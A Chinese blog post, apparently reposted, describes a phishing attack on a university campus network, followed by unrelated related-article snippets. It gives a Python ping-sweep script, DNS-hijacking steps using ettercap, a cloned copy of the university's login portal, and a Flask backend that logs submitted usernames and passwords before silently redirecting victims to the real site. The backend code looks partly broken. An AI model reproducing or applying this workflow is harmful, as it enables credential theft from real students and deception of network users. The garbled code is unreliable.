校园局域网钓鱼实例

news2024/12/23 17:14:04

Hello ! 我是"我是小恒不会java"

本文仅作为针对普通同学眼中的网络安全,设计的钓鱼案例也是怎么简陋怎么来

注:本文不会外传代码,后端已停止使用,仅作为学习使用

基本原理

内网主机扫描+DNS劫持+前端模拟+后端HTTP请求保存日志+前端重定向至真实网站

仿制前端

原本站点网址,这是作者仿制后实现的,后端Flask框架(打码了)

https://ca.csu.edu.cn/

内网主机扫描 

import os
import platform

def ping(host):
    if platform.system() == "Windows":
        response = os.system("ping -n 1 " + host)
    else:
        response = os.system("ping -c 1 " + host)
    return response == 0

with open("active_ips.txt", "w") as f:
    for i in range(0, 255):
        for j in range(0, 255):
            ip = "100.65.{}.{}".format(i, j)
            if ping(ip):
                print("{} is active".format(ip))
                f.write(ip + "\n")

 python太慢,建议用批处理脚本。第一次写,没必要,就先用了

DNS劫持

准备:一台kail linux主机,连接校园网,使用ettercap进行DNS劫持

修改/etc/ettercap/etter.dns文件,根据提示按需进行劫持配置

先打开阿帕奇服务器,试试可用性,成功则如下图所示

前端仿制 

主要是针对移动端,我就只针对移动端进行特意修改

加上form表单,和falsk后端匹配。设置应用的秘钥,用于加密session数据。

实现一个简单的session登陆验证,并向后端发送加密信息,等待服务器响应

后端

def save_request_data():
    target_url = request.json['target_url']
    save_path = request.json['save_path']

    # 准备请求参数
    request_data = {
        'method': 'POST', 
        'url': target_url,
        'headers': request.headers.to_list(),  # 保存当前请求的 headers 为例
        'data': request.get_json() 
    }

    # 发送请求到 httpbin(一个用于测试 HTTP 请求和响应的工具服务),以获取原始请求数据
    response = requests.post('https://httpbin.org/anything', json=request_data)

    if response.status_code == 200:
        # 解析 httpbin 返回的 JSON 数据,提取原始请求数据
        raw_request_data = response.json()['req']

        # 将原始请求数据写入文件
        with open(save_path, 'w', encoding='utf-8') as f:
            json.dump(raw_request_data, f, ensure_ascii=False, indent=4)

        return jsonify({'status': 'success', 'message': 'HTTP request data saved successfully.'})
    else:
        return jsonify({'status': 'error', 'message': f'Received non-successful status code {response.status_code} from the server.'}), response.status_code

服务器端保存请求内容,并正常返回响应,从而达到获取username和password的目的

重定向

在前端点击登陆后重定向至正确网址,用户只会认为网页卡顿了,再次输入信息后成功登陆校园门户网络

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1564971.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

篮球竞赛预约平台的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)篮球馆,篮球赛,竞赛项目,赛事预约

本项目包含可运行源码数据库LW,文末可获取本项目的所有资料。 推荐阅读300套最新项目持续更新中..... 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含ja…

如何启用远程访问?

在当今信息化的社会中,远程访问已成为许多企业和个人不可或缺的工具。通过远程访问,用户可以在任何时间、地点轻松连接到他们的数据和应用程序,提高工作效率,增加便利性。本文将探讨如何启用远程访问,以及天联组网在解…

绿色wordpress外贸建站模板

绿色wordpress外贸建站模板 https://www.mymoban.com/wordpress/6.html

docker容器技术篇:Docker API配置与常用操作

docker容器技术篇:Docker API配置与使用 一、API具体是什么? 百科解释应用程序接口(API),又称为应用编程接口,就是软件系统不同组成部分衔接的约定,蒙了吧!!&#xff0…

Python 之 Flask 框架学习

毕业那会使用过这个轻量级的框架,最近再来回看一下,依赖相关的就不多说了,直接从例子开始。下面示例中的 html 模板,千万记得要放到 templates 目录下。 Flask基础示例 hello world from flask import Flask, jsonify, url_fora…

舞蹈网站制作分享,舞蹈培训商城网站设计案例分享,wordpress主题分享

嘿,朋友们!今天我要跟你们唠一唠一个超级酷炫的舞蹈培训商城网站设计案例。 咱先说说这个网站的目标哈,那就是得让喜欢舞蹈的小伙伴们能够轻轻松松找到自己心水的课程和商品。 那制作过程都有啥呢?别急,听我慢慢道来。…

C#开发中一些常用的工具类分享

一、配置文件读写类 用于在开发时候C#操作配置文件读写信息 1、工具类 ReadIni 代码 using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks;namesp…

如何将本地仓库放到远程仓库中

在我们仓库创建好之后&#xff0c;我们复制好ssh 接着我们需要使用git remote add<shortname><url>这个命令 shortname就是我们远程仓库的别名 接着使用git remote -v这个命令查看一下目前远程仓库的别名和地址 原本还有一个指令git branch -M main 指定分支的名…

全志 Linux Qt

一、简介 本文介绍基于 buildroot 文件系统的 QT 模块的使用方法&#xff1a; • 如何在 buildroot 工具里编译 QT 动态库&#xff1b; • 编译及运行 qt_demo 应用程序&#xff1b; • 适配过程遇到的问题。 二、QT动态库编译 在项目根路径执行 ./build.sh buildroot_menuc…

酷开科技智慧AI让酷开系统大显身手!

时代的浪潮汹涌而至&#xff0c;人工智能作为技术革新和产业变革的重要引擎&#xff0c;正深刻地影响着各行各业。在科技的海洋中&#xff0c;AI技术正逐渐渗透到我们的日常生活中&#xff0c;为我们带来前所未有的便捷和智慧。酷开科技用技术探索智慧AI&#xff0c;别看它只是…

MySQL 中将使用逗号分隔的字段转换为多行数据

在我们的实际开发中&#xff0c;经常需要存储一些字段&#xff0c;它们使用像, - 等连接符进行连接。在查询过程中&#xff0c;有时需要将这些字段使用连接符分割&#xff0c;然后查询多条数据。今天&#xff0c;我们将使用一个实际的生产场景来详细解释这个解决方案。 场景介绍…

JeeSite Vue3:前端开发控制实现基于身份角色的权限验证

随着技术的飞速发展&#xff0c;前端开发技术日新月异。在这个背景下&#xff0c;JeeSite Vue3 作为一个基于 Vue3、Vite、Ant-Design-Vue、TypeScript 和 Vue Vben Admin 的前端框架&#xff0c;引起了广泛关注。它凭借其先进的技术栈和丰富的功能模块&#xff0c;为初学者和团…

【教程】Kotlin语言学习笔记(五)——Lambda表达式与条件控制

写在前面&#xff1a; 如果文章对你有帮助&#xff0c;记得点赞关注加收藏一波&#xff0c;利于以后需要的时候复习&#xff0c;多谢支持&#xff01; 【Kotlin语言学习】系列文章 第一章 《认识Kotlin》 第二章 《数据类型》 第三章 《数据容器》 第四章 《方法》 第五章 《L…

LangChain-03 astream_events 流输出

内容简介 尝试用 FAISS 或 DocArrayInMemorySearch 将数据向量化后检索astream_events 的效果为 |H|arrison| worked| at| Kens|ho|.|| 安装依赖 # 之前的依赖即可 pip install --upgrade --quiet langchain-core langchain-community langchain-openai # Win或Linux用户可…

算法学习——LeetCode力扣动态规划篇3(494. 目标和、474. 一和零、518. 零钱兑换 II)

算法学习——LeetCode力扣动态规划篇3 494. 目标和 494. 目标和 - 力扣&#xff08;LeetCode&#xff09; 描述 给你一个非负整数数组 nums 和一个整数 target 。 向数组中的每个整数前添加 ‘’ 或 ‘-’ &#xff0c;然后串联起所有整数&#xff0c;可以构造一个 表达式 …

【xinference】(8):在autodl上,使用xinference部署qwen1.5大模型,速度特别快,同时还支持函数调用,测试成功!

1&#xff0c;关于xinference https://www.bilibili.com/video/BV14x421U74t/ 【xinference】&#xff08;8&#xff09;&#xff1a;在autodl上&#xff0c;使用xinference部署qwen1.5大模型&#xff0c;速度特别快&#xff0c;同时还支持函数调用&#xff0c;测试成功&#…

系统IO函数接口

目录 前言 一. man手册 1.1 man手册如何查询 1.2 man手册基础 二.系统IO函数接口 三.open打开文件夹 3.1 例1 open打开文件 3.2 open打开文件代码 3.3 例2 创建文件 四.write写文件 4.1 write写文件 五. read读文件 5.1 read读文件与偏移 5.2 偏移细节 5.3 read读文件代码 六.复…

1,static 关键字.Java

目录 1.概述 2.定义格式和使用 2.1 静态变量及其访问 2.2 实例变量及其访问 2.3 静态方法及其访问 2.4 实例方法及其访问 3.小结 1.概述 static表示静态&#xff0c;是Java中的一个修饰符&#xff0c;可以修饰成员方法&#xff0c;成员变量。被static修饰后的&#xff…

STM32CubeMX配置步骤详解零 —— 引言

引子 初识 笔者接触STM32系列MCU有些年头了。初次接触是2015年&#xff0c;那时是在第二空间&#xff08;北京&#xff09;科技有限公司上班&#xff0c;是以STM32F407&#xff08;后缀好像是RGT6或ZGT6&#xff0c;记得不是很清楚了&#xff09;为主芯片做VR头戴式设备&…

40道Java经典面试题总结

1、在 Java 中&#xff0c;什么时候用重载&#xff0c;什么时候用重写&#xff1f; &#xff08;1&#xff09;重载是多态的集中体现&#xff0c;在类中&#xff0c;要以统一的方式处理不同类型数据的时候&#xff0c;可以用重载。 &#xff08;2&#xff09;重写的使用是建立…